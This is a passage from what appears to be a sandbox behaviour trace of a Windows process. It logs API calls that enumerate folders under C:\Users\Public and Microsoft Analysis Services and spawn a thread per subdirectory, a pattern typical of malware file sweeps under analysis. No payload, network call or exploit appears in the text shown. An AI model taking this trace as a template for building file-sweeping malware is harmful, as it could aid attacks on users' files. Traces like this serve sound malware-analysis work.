ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.349] wcscmp (_String1="..", _String2=".") returned 1 [0046.349] wcscmp (_String1="..", _String2="..") returned 0 [0046.349] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.349] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.349] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.349] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0046.349] wcscmp (_String1="Sample Music", _String2=".") returned 1 [0046.349] wcscmp (_String1="Sample Music", _String2="..") returned 1 [0046.349] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x445130 [0046.349] wcscpy (in: _Dest=0x445130, _Source="C:\\Users\\Public\\Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0046.349] wcscat (in: _Dest=0x445130, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0046.349] wcscat (in: _Dest=0x445130, _Source="Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0048.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0048.682] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0048.682] FindClose (in: hFindFile=0x440160 | out: hFindFile=0x440160) returned 1 [0048.683] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458bc0) returned 1 [0048.683] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9f8) returned 1 [0048.684] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab80) returned 1 Thread: id = 220 os_tid = 0x90c [0046.350] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x4401a0 [0046.350] wcscpy (in: _Dest=0x4401a0, _Source="C:\\Users\\Public\\Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0046.350] wcscat (in: _Dest=0x4401a0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0046.350] wcscat (in: _Dest=0x4401a0, _Source="*" | out: _Dest="C:\\Users\\Public\\Pictures\\*") returned="C:\\Users\\Public\\Pictures\\*" [0046.350] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458e28 [0046.350] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4401e0 [0046.350] wcscmp (_String1=".", _String2=".") returned 0 [0046.350] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.350] wcscmp (_String1="..", _String2=".") returned 1 [0046.350] wcscmp (_String1="..", _String2="..") returned 0 [0046.350] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.350] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.350] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.350] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0046.350] wcscmp (_String1="Sample Pictures", _String2=".") returned 1 [0046.350] wcscmp (_String1="Sample Pictures", _String2="..") returned 1 [0046.350] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a130 [0046.350] wcscpy (in: _Dest=0x44a130, _Source="C:\\Users\\Public\\Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0046.350] wcscat (in: _Dest=0x44a130, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0046.351] wcscat (in: _Dest=0x44a130, _Source="Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0048.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0048.358] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0048.358] FindClose (in: hFindFile=0x4401e0 | out: hFindFile=0x4401e0) returned 1 [0048.358] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458e28) returned 1 [0048.358] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4401a0) returned 1 [0048.358] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a068) returned 1 Thread: id = 221 os_tid = 0x8b0 [0046.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402b58 [0046.351] wcscpy (in: _Dest=0x402b58, _Source="C:\\Users\\Public\\Recorded TV" | out: _Dest="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV" [0046.351] wcscat (in: _Dest=0x402b58, _Source="\\" | out: _Dest="C:\\Users\\Public\\Recorded TV\\") returned="C:\\Users\\Public\\Recorded TV\\" [0046.351] wcscat (in: _Dest=0x402b58, _Source="*" | out: _Dest="C:\\Users\\Public\\Recorded TV\\*") returned="C:\\Users\\Public\\Recorded TV\\*" [0046.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459090 [0046.351] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440220 [0046.351] wcscmp (_String1=".", _String2=".") returned 0 [0046.351] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.352] wcscmp (_String1="..", _String2=".") returned 1 [0046.352] wcscmp (_String1="..", _String2="..") returned 0 [0046.352] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.352] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.352] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.352] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0046.352] wcscmp (_String1="Sample Media", _String2=".") returned 1 [0046.352] wcscmp (_String1="Sample Media", _String2="..") returned 1 [0046.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a730 [0046.353] wcscpy (in: _Dest=0x44a730, _Source="C:\\Users\\Public\\Recorded TV" | out: _Dest="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV" [0046.353] wcscat (in: _Dest=0x44a730, _Source="\\" | out: _Dest="C:\\Users\\Public\\Recorded TV\\") returned="C:\\Users\\Public\\Recorded TV\\" [0046.353] wcscat (in: _Dest=0x44a730, _Source="Sample Media" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media" [0048.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0048.359] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0048.360] FindClose (in: hFindFile=0x440220 | out: hFindFile=0x440220) returned 1 [0048.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459090) returned 1 [0048.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0048.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a0a8) returned 1 Thread: id = 222 os_tid = 0x8b8 [0046.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x440260 [0046.353] wcscpy (in: _Dest=0x440260, _Source="C:\\Users\\Public\\Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0046.353] wcscat (in: _Dest=0x440260, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0046.353] wcscat (in: _Dest=0x440260, _Source="*" | out: _Dest="C:\\Users\\Public\\Videos\\*") returned="C:\\Users\\Public\\Videos\\*" [0046.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4592f8 [0046.353] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4402a0 [0046.353] wcscmp (_String1=".", _String2=".") returned 0 [0046.353] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.355] wcscmp (_String1="..", _String2=".") returned 1 [0046.355] wcscmp (_String1="..", _String2="..") returned 0 [0046.355] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.355] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.355] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.355] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0046.355] wcscmp (_String1="Sample Videos", _String2=".") returned 1 [0046.355] wcscmp (_String1="Sample Videos", _String2="..") returned 1 [0046.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414410 [0046.355] wcscpy (in: _Dest=0x414410, _Source="C:\\Users\\Public\\Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0046.356] wcscat (in: _Dest=0x414410, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0046.356] wcscat (in: _Dest=0x414410, _Source="Sample Videos" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos" [0048.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0048.361] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0048.361] FindClose (in: hFindFile=0x4402a0 | out: hFindFile=0x4402a0) returned 1 [0048.361] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4592f8) returned 1 [0048.361] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440260) returned 1 [0048.361] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40abb8) returned 1 Thread: id = 223 os_tid = 0x880 [0046.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400518 [0046.735] wcscpy (in: _Dest=0x400518, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0046.735] wcscat (in: _Dest=0x400518, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0046.735] wcscat (in: _Dest=0x400518, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*" [0046.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459560 [0046.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4408a0 [0047.104] wcscmp (_String1=".", _String2=".") returned 0 [0047.104] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.104] wcscmp (_String1="..", _String2=".") returned 1 [0047.104] wcscmp (_String1="..", _String2="..") returned 0 [0047.104] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0047.104] wcscmp (_String1="Cartridges", _String2=".") returned 1 [0047.104] wcscmp (_String1="Cartridges", _String2="..") returned 1 [0047.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x416930 [0047.105] wcscpy (in: _Dest=0x416930, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0047.105] wcscat (in: _Dest=0x416930, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0047.105] wcscat (in: _Dest=0x416930, _Source="Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0049.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0049.044] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0049.044] wcscmp (_String1="msmdlocal.dll", _String2=".") returned 1 [0049.044] wcscmp (_String1="msmdlocal.dll", _String2="..") returned 1 [0049.044] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0049.044] wcscmp (_String1="msmgdsrv.dll", _String2=".") returned 1 [0049.044] wcscmp (_String1="msmgdsrv.dll", _String2="..") returned 1 [0049.044] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0049.045] wcscmp (_String1="msolap100.dll", _String2=".") returned 1 [0049.045] wcscmp (_String1="msolap100.dll", _String2="..") returned 1 [0049.045] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0049.045] wcscmp (_String1="msolui100.dll", _String2=".") returned 1 [0049.045] wcscmp (_String1="msolui100.dll", _String2="..") returned 1 [0049.045] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0049.045] wcscmp (_String1="Resources", _String2=".") returned 1 [0049.045] wcscmp (_String1="Resources", _String2="..") returned 1 [0049.045] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416f60 [0049.045] wcscpy (in: _Dest=0x416f60, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0049.045] wcscat (in: _Dest=0x416f60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0049.045] wcscat (in: _Dest=0x416f60, _Source="Resources" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files\\Microsoft Analysis Services\\AS 